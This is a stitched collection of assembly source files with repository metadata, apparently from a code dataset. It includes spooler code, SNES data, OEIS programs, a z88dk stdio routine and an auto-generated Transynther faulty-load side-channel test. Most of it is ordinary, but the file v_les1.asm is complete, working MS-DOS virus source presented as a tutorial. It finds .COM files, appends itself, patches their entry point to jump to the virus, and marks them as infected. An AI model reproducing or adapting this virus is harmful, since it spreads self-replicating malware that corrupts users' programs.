movdw curJob.SJI_curScan, dxbx ; update position
cmpdw dxbx, curJob.SJI_pageH ; done ?
pop ax, cx ; restore GSRetType,data
LONG jae donePage ; yes, time to reset
push ax, cx ; save GSRetType & data
subdw dxbx, curJob.SJI_pageH ; see if getting close
negdw dxbx
tst dx ; if still large
jnz applyTranslation
cmp bx, curJob.SJI_swathH ; < 1 swath left ?
jae applyTranslation ; no, continue
mov di, curJob.SJI_gstate ; pass bitmap handle
call GrClearBitmap
; since we are on the last swath, make sure that the
; bitmap height field in the Huge bitmap reflects how
; much we are actually going to send to the print driver.
mov dx, bx ; save word of height
call AdjustBitmapHeight
; apply proper window translation to draw the next piece
applyTranslation:
segmov ds, ss, si ; ds -> stack
mov di, curJob.SJI_bmWinHan ; window handle
mov cx, WIF_DONT_INVALIDATE
call WinSetNullTransform ; set things back
mov si, cx ; si get INVAL flag
mov bx, curJob.SJI_swathH ; translate this much
neg bx ; bx.ax = y translation
clr ax
clr cx ; dx.cx = x translation
clr dx
call WinApplyTranslation ; DONT_INVAL still ok
mov cx, WIF_DONT_INVALIDATE
lea si, curJob.SJI_oldMatrix ; ds:si->buffer space
call WinApplyTransform ; apply old one
; set the file position back to start of the page (paper)
call ResetFilePosition ; set to start o page
; check queue info to see if we need to quit
call CheckForErrors ; check flag in q info
pop ax, cx ; restre GSRetType,data
jc abortDoc ; yes, abort the job
cmp ax, GSRT_FAULT ; something bad ?
je donePage ; yes, die
pop bx ; restore numCopies
mov curJob.SJI_numCopies, bl
jmp swathLoop ; else print nxt swath
; printing interrupted
abortDoc:
mov ax, GSRT_FAULT ; fake completion
; done with the current page, so tell the printer driver
donePage:
pop bx ; restore numCopies
; record new file pos
push ax, cx
mov al, FILE_POS_START
mov bx, curJob.SJI_fHan ; fetch file handle
movdw cxdx, curJob.SJI_labelfPos ; ...and position
call FilePos ; set to start of page
movdw curJob.SJI_fPos, dxax
pop ax, cx
mov bx, cx
call ProcessEndPage
; since we are on the last swath, make sure that the
; bitmap height field in the Huge bitmap reflects how
; much we are actually going to send to the print driver.
pushf ; save carry
mov dx, curJob.SJI_swathH ; get swath height
call AdjustBitmapHeight
popf ; restore carry status
if _NONSPOOL ;--------------------------------------------------------------
checkEndReturnCode:
jc shutdownHere
cmp ax, GSRT_FAULT ; done ?
je doneDocPage ; yes, all done
push ax ; save GSRet code.
call GetPrinterReturnCode ; get returns.
cmp ax, PDR_NO_RETURN
pop ax ; get back GSRet code.
je doneDocPage
mov cx, PERROR_PAPER_MISFEED ; set jammed error code
clr dx
call SpoolErrorBox ; he can only answer OK
TestUserStandardDialogResponses\
SPOOL_BAD_USER_STANDARD_DIALOG_RESPONSE, IC_OK, IC_DISMISS
cmp ax, IC_OK ; if affirmative
jne shutdownHere ; if not OK, quit...
; if OK, try again...
mov di, DR_PRINT_END_PAGE ; spit the paper out
mov bx, curJob.SJI_pstate ; pass the pstate
call curJob.SJI_pDriver
mov ax, GSRT_COMPLETE ; dumy GString ret code
jmp checkEndReturnCode
else ; not _NONSPOOL -------------------------------------------------------
jnc doneDocPage
endif ; _NONSPOOL ---------------------------------------------------
shutdownHere:
mov ax, GSRT_FAULT ; there's a problem
; All done with this piece of paper. Mission accomplished.
doneDocPage:
mov di, curJob.SJI_bmWinHan ; get window handle
mov cx, WIF_DONT_INVALIDATE ; never inval the window
call WinSetNullTransform ; set it back
.leave
ret
if _NONSPOOL ;--------------------------------------------------------------
ejectPaper:
mov di, DR_PRINT_END_PAGE ; spit the paper out
mov bx, curJob.SJI_pstate ; pass the pstate
call curJob.SJI_pDriver
call GetPrinterReturnCode ; get returns.
cmp ax, PDR_NO_RETURN
je exitErr
mov cx, PERROR_PAPER_MISFEED ; set jammed error code
clr dx
call SpoolErrorBox ; can only answer OK
TestUserStandardDialogResponses \
SPOOL_BAD_USER_STANDARD_DIALOG_RESPONSE, IC_OK, IC_DISMISS
cmp ax, IC_OK ; if affirmative
je ejectPaper ; if OK, try again...
endif ; _NONSPOOL ---------------------------------------------------
; there was an error in printing. just exit
exitErr:
pop ax, ax, ax ; restore stack
jmp shutdownHere
PrintGraphicsLabels endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
CheckForGStringDone
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Done with the string ?
CALLED BY: INTERNAL
PrintGraphicsLabels
PASS: nothing
RETURN: carry - set if at end of gstring
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jim 8/24/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
CheckForGStringDone proc near
uses cx, ax, si, di
curJob local SpoolJobInfo
.enter inherit
clr cx
mov si, curJob.SJI_gstring ; get string handle
mov di, curJob.SJI_gstate ; get state handle
call GrGetGStringElement
jcxz atEnd
cmp al, GR_END_GSTRING
je atEnd
clc
done:
.leave
ret
atEnd:
stc ; signal finished
jmp done
CheckForGStringDone endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
PositionGStringFile
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Re-position a file-based GString
CALLED BY: INTERNAL
PrintGraphicsLabels
PASS: curJob - SpoolJobInfo
si - GString handle
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Don 3/21/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
PositionGStringFile proc near
curJob local SpoolJobInfo
uses ax, bx, cx, dx
.enter inherit
; Notify the GString code to not use the cached data,
; through this hack of resetting the current position.
; We do this to prevent the playing of the next element
; (GR_NEW_PAGE), which would be rather counter-productive.
mov al, GSSPT_BEGINNING
call GrSetGStringPos
; Reset the file's position
mov al, FILE_POS_START
mov bx, curJob.SJI_fHan ; fetch file handle
movdw cxdx, curJob.SJI_labelfPos ; ..and position
call FilePos
.leave
ret
PositionGStringFile endp
PrintLabel ends
| 29.036576 | 80 | 0.616397 |
8faa9be5050f4446a147cd5b1ee27c6128f1a397 | 260 | asm | Assembly | data.asm | malayli/snes-multiple-sprites | 4fa3e3dec45704e5db9383f0609ffe42cc52db27 | [
"MIT"
] | 1 | 2022-02-12T18:21:19.000Z | 2022-02-12T18:21:19.000Z | data.asm | malayli/snes-multiple-sprites | 4fa3e3dec45704e5db9383f0609ffe42cc52db27 | [
"MIT"
] | null | null | null | data.asm | malayli/snes-multiple-sprites | 4fa3e3dec45704e5db9383f0609ffe42cc52db27 | [
"MIT"
] | null | null | null | .include "hdr.asm"
.section ".rodata1" superfree
gfxpsrite:
.incbin "sprite1.pic"
.incbin "sprite2.pic"
.incbin "sprite3.pic"
gfxpsrite_end:
palsprite:
.incbin "sprite1.pal"
.incbin "sprite2.pal"
.incbin "sprite3.pal"
palsprite_end:
.ends
| 14.444444 | 30 | 0.692308 |
e2e3f706b9bfeaa10133cb7f92958841d962b8ae | 6,047 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_4755_272.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_4755_272.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_4755_272.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r8
push %r9
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_D_ht+0xcbd9, %r8
nop
and $43261, %rdi
movw $0x6162, (%r8)
nop
nop
nop
nop
sub %rcx, %rcx
lea addresses_WC_ht+0x19d7f, %rcx
nop
nop
nop
nop
nop
cmp %r12, %r12
mov (%rcx), %esi
nop
nop
nop
nop
nop
sub %rsi, %rsi
lea addresses_UC_ht+0x3fff, %rsi
lea addresses_A_ht+0xd7f, %rdi
xor $17057, %rdx
mov $9, %rcx
rep movsl
nop
nop
nop
nop
nop
inc %rdx
lea addresses_A_ht+0x1257f, %r12
nop
nop
nop
add $52708, %r9
mov (%r12), %rcx
nop
nop
nop
nop
nop
add $33790, %r9
lea addresses_normal_ht+0x1d127, %r9
nop
nop
nop
add $1062, %rdi
movw $0x6162, (%r9)
nop
add $31384, %r9
lea addresses_WC_ht+0x1c18f, %rdi
nop
nop
nop
nop
cmp $34399, %r8
vmovups (%rdi), %ymm1
vextracti128 $0, %ymm1, %xmm1
vpextrq $1, %xmm1, %rcx
add %rdx, %rdx
lea addresses_A_ht+0x1eaef, %rdx
nop
nop
xor $14543, %r12
movb (%rdx), %cl
nop
nop
nop
dec %r8
lea addresses_WT_ht+0xc64f, %r12
nop
nop
nop
cmp $56044, %rdi
mov (%r12), %r8
nop
nop
nop
nop
nop
cmp $35714, %rdi
lea addresses_WC_ht+0x1857f, %rsi
nop
nop
nop
and $10598, %r12
movl $0x61626364, (%rsi)
add %r9, %r9
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r9
pop %r8
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r8
push %r9
push %rdx
push %rsi
// Faulty Load
lea addresses_WC+0x1657f, %r9
nop
add %r10, %r10
vmovups (%r9), %ymm1
vextracti128 $0, %ymm1, %xmm1
vpextrq $0, %xmm1, %rsi
lea oracles, %rdx
and $0xff, %rsi
shlq $12, %rsi
mov (%rdx,%rsi,1), %rsi
pop %rsi
pop %rdx
pop %r9
pop %r8
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'size': 2, 'AVXalign': False, 'NT': True, 'congruent': 0, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 11, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'38': 4755}
38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38
*/
| 38.762821 | 2,999 | 0.655366 |
8d22259cd9dd6c441a1e98be790c2dcab81dc2d1 | 484 | asm | Assembly | oeis/074/A074939.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/074/A074939.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/074/A074939.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A074939: Even numbers such that base 3 representation contains no 2.
; Submitted by Jamie Morken(s1)
; 0,4,10,12,28,30,36,40,82,84,90,94,108,112,118,120,244,246,252,256,270,274,280,282,324,328,334,336,352,354,360,364,730,732,738,742,756,760,766,768,810,814,820,822,838,840,846,850,972,976,982,984,1000,1002
mov $2,$0
div $0,4
seq $0,240400 ; Numbers n having a partition into distinct parts of form 3^k-2^k.
mul $0,2
add $0,$2
mul $0,9
div $0,6
mul $0,6
add $0,2
div $0,4
mul $0,2
| 30.25 | 205 | 0.704545 |
86fce5d95e3597b2b3c1d3cd8a68d4d490f00601 | 277 | asm | Assembly | programs/oeis/083/A083040.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/083/A083040.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/083/A083040.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A083040: Number of divisors of n that are <= 4
; 1,2,2,3,1,3,1,3,2,2,1,4,1,2,2,3,1,3,1,3,2,2,1,4,1,2,2,3,1,3,1,3,2,2,1,4,1,2,2,3,1,3,1,3,2,2,1,4,1,2,2,3,1,3,1,3,2,2,1,4,1,2,2,3,1,3,1,3,2,2,1,4
add $0,1
gcd $0,12
mov $1,-1
lpb $0
div $0,2
add $1,1
lpe
add $1,1
mov $0,$1
| 21.307692 | 145 | 0.537906 |
783cfe606ce222f862bd63069fbbf89b5620f5ef | 737 | asm | Assembly | src/02-user-input.asm | enix403/nasm-playground | 78ba9991a732d328a52913c1ae55df1a27fd67b1 | [
"MIT"
] | null | null | null | src/02-user-input.asm | enix403/nasm-playground | 78ba9991a732d328a52913c1ae55df1a27fd67b1 | [
"MIT"
] | null | null | null | src/02-user-input.asm | enix403/nasm-playground | 78ba9991a732d328a52913c1ae55df1a27fd67b1 | [
"MIT"
] | null | null | null | ; Compile it with:
; nasm -f elf32 user-input.asm -o user-input.o
; gcc -m32 user-input.o -o user-input
;
; Run by executing:
; ./user-input
; nasm -f elf32 src/user-input.asm -o user-input.o && gcc -m32 user-input.o -o user-input
global main
extern printf
extern scanf
section .data
inputMsg db "Please enter a number: ", 0
inputFormat db "%d", 0
outputMsg db "The number is: %d", 10, 0
integer dd 0
section .text
main:
push ebp
mov ebp, esp
push inputMsg
call printf
add esp, 4
push integer
push inputFormat
call scanf
add esp, 8
mov ebx, [integer]
push ebx
push outputMsg
call printf
add esp, 8
xor eax, eax
mov esp, ebp
pop ebp
ret | 15.680851 | 89 | 0.624152 |
96cc093ceb8c1dec6abcd45946945ee907394e5b | 1,559 | asm | Assembly | libsrc/_DEVELOPMENT/stdio/z80/asm_fileno_unlocked.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/_DEVELOPMENT/stdio/z80/asm_fileno_unlocked.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/_DEVELOPMENT/stdio/z80/asm_fileno_unlocked.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z |
; ===============================================================
; Oct 2014
; ===============================================================
;
; int fileno_unlocked(FILE *stream)
;
; Return file descriptor associated with stream.
;
; ===============================================================
INCLUDE "config_private.inc"
SECTION code_clib
SECTION code_stdio
PUBLIC asm_fileno_unlocked
PUBLIC asm0_fileno_unlocked
EXTERN __stdio_verify_valid
EXTERN __fcntl_fd_from_fdstruct, __fcntl_fdtbl_size
asm_fileno_unlocked:
; enter : ix = FILE *
;
; exit : success
;
; hl = fd
; carry reset
;
; fail if FILE invalid, no fd
;
; hl = -1
; carry set, errno set
;
; uses : af, bc, de, hl
call __stdio_verify_valid
ret c ; if FILE* is invalid
asm0_fileno_unlocked:
ld e,(ix+1)
ld d,(ix+2) ; de = FDSTRUCT *
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
IF __CLIB_MULTITHREAD & $08
EXTERN __fcntl_lock_fdtbl
call __fcntl_lock_fdtbl
ENDIF
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
call __fcntl_fd_from_fdstruct
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
IF __CLIB_MULTITHREAD & $08
jr c, exit
ELSE
ret c
ENDIF
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ld a,__fcntl_fdtbl_size
sub b
ld l,a
ld h,0 ; hl = fd
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
IF __CLIB_MULTITHREAD & $08
exit:
EXTERN __fcntl_unlock_fdtbl
jp __fcntl_unlock_fdtbl
ELSE
ret
ENDIF
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
| 17.322222 | 65 | 0.458627 |
1406047e74d1b60426fea4e70760f94a432e1e0d | 229 | asm | Assembly | programs/oeis/016/A016895.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/016/A016895.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/016/A016895.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A016895: (5n+3)^11.
; 177147,8589934592,1792160394037,64268410079232,952809757913927,8293509467471872,50542106513726817,238572050223552512,929293739471222707,3116402981210161152,9269035929372191597
mul $0,5
add $0,3
pow $0,11
| 32.714286 | 177 | 0.842795 |
2309ee3c0128b5d9179cfe0aeed32f82c3ada486 | 294 | asm | Assembly | programs/oeis/329/A329194.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/329/A329194.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/329/A329194.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A329194: a(n) = floor(log_3(n^2)) = floor(2 log_3(n))
; 0,1,2,2,2,3,3,3,4,4,4,4,4,4,4,5,5,5,5,5,5,5,5,5,5,5,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8
add $0,1
pow $0,4
log $0,9
mov $1,$0
| 36.75 | 199 | 0.517007 |
a163a8941483c0731134e8686ec9db2964155b97 | 4,889 | asm | Assembly | MSDOS/Virus.MSDOS.Unknown.v_les1.asm | fengjixuchui/Family | 2abe167082817d70ff2fd6567104ce4bcf0fe304 | [
"MIT"
] | 3 | 2021-05-15T15:57:13.000Z | 2022-03-16T09:11:05.000Z | MSDOS/Virus.MSDOS.Unknown.v_les1.asm | fengjixuchui/Family | 2abe167082817d70ff2fd6567104ce4bcf0fe304 | [
"MIT"
] | null | null | null | MSDOS/Virus.MSDOS.Unknown.v_les1.asm | fengjixuchui/Family | 2abe167082817d70ff2fd6567104ce4bcf0fe304 | [
"MIT"
] | 3 | 2021-05-15T15:57:15.000Z | 2022-01-08T20:51:04.000Z | ;
; Virus school, lession 1 (c) 1992 Tormentor [Demoralized Youth]
;
; This is the first lession on how to make an own virus.
; Hope you'll learn something of it...
; To be compiled with TASM 3.0 or higher.
;
; This virus is quite dumb and 'noisy'
; It updates the filedate and time, changes DTA before execution causing
; some progs to belive they are executed with parameters...
; But this should only be a 'raw' virus that you can develop.
; Certain program may hang, so i recommend you not to spread to geeks
; since there is MANY better viruses to use for such nice purpose.
;
; If you want to conntact me or other virus-writers call me on my board:
; Swedish Virus Laboratory +46-3191-9393
;
; Greetings to All virus-writers!
;
.model tiny
.radix 16
.code
Virus_Lenght EQU Virus_End-Virus_Start ; Lenght of virus.
org 100
dummy_code: db 'M' ; Mark file as infected.
db 3 DUP(90) ; This is to simulate a infected prog.
; Not included in virus-code.
Virus_Start: call where_we_are ; Now we call the next bytes, just to
; know what address virus lies on.
where_we_are: pop si ; Since the virus-code's address will
; differ from victim to victim.
; a POP SI after a call will give us the
; address which equals to 'where_we_are'
; Very important.
;-----------------------------------------------------------------------
; Now we have to put back the original 4 bytes in the host program, so
; we can return control to it later:
add si,_4first_bytes-where_we_are
mov di,100
cld
movsw
movsw
;------------------------------------------------------------------------
; We have to use SI as a reference since files differ in size thus making
; virus to be located at different addresses.
sub si,_4first_bytes-Virus_Start+4
;------------------------------------------------------------------------
; Now we just have to find victims, we will look for ALL .COM files in
; the current directory.
mov ah,4e ; We start to look for a *.COM file
look4victim: mov dx,offset file_match-Virus_Start
add dx,si
int 21
jc no_victim_found ; If no *.COM files was found.
mov ax,3d02 ; Now we open the file.
mov dx,9e ; The found victims name is at ds:009e
int 21 ; in DTA.
jc cant_open_file ; If file couldn't be open.
xchg ax,bx ; Save filehandle in bx
; (we could use MOV BX,AX but we saves one byte by using xchg )
mov ah,3f ; Now we read the first 4 bytes
mov cx,4 ; from the victim -> buffer
mov dx,offset _4first_bytes-Virus_Start
add dx,si
; We will then overwrite them with
int 21 ; a JMP XXXX to virus-code at end.
jc read_error
cmp byte ptr ds:[si+_4first_bytes-Virus_Start],'M'
jz sick_or_EXE ; Check if infected OR *.EXE
; Almost all EXE files starts with 'M' and we mark the infected files by
; starting with 'M' which equals to DEC BP
; Now we just have to have one check instead of 2 (infected and *.EXE)
mov ax,4202 ; Position file-pointer to point at
xor cx,cx ; End-of-File.
xor dx,dx ; Any writing to file will now APPEND it
int 21 ; Returns AX -> at end.
sub ax,4 ; Just for the JMP structure.
mov word ptr ds:[_4new_bytes+2],ax
; Build new JMP XXXX to virus.
; ( logic: JMP AX )
mov ah,40 ; Append file with virus code.
mov cx,offset Virus_Lenght
; File-size will increase with
mov dx,si ; Virus_Lenght.
int 21
jc write_error
mov ax,4200 ; Position file-pointer to begin of file
xor cx,cx ; So we can change the first 3 bytes
xor dx,dx ; to JMP to virus.
int 21
mov ah,40 ; Write new 3 bytes.
mov cx,4 ; After this, executing the file will
mov dx,offset _4new_bytes-Virus_Start
add dx,si
; result in virus-code executing before
int 21 ; original code.
; (And more files will be infected)
jc write_error
mov ah,3e ; Close file, now file is infected.
int 21 ; Dos function 3E (close handle)
Sick_or_EXE: mov ah,4f ; Well, file is infected. Now let's
jmp look4victim ; find another victim...
write_error: ; Here you can test whats went wrong.
read_error: ; This is just for debugging purpose.
cant_open_file: ; These entries are equal to eachother
no_victim_found: ; but could be changed if you need to test something.
mov ax,100 ; Every thing is put back in memory,
push ax ; lets us RET back to start of program
ret ; and execute the original program.
notes db ' (c) 1992 Tormentor ,Swedish Virus Laboratory'
db ' / Demoralized Youth / '
file_match db '*.COM',0 ; Pattern to search for.
; Don't forget to end with 0 !
_4first_bytes: ret ; Here we save the 4 first org. bytes
db 3 DUP(0)
; We have a ret here since this file isn't a REAL infection.
_4new_bytes db 'M',0E9, 00, 00 ; Here we build the 4 new org. bytes
; so our virus-code will be run first.
Virus_End EQU $
end dummy_code
| 30.748428 | 73 | 0.664962 |
82e7828958b30a9e2d781addecd88c77a70733d8 | 437 | asm | Assembly | programs/oeis/047/A047227.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/047/A047227.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/047/A047227.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
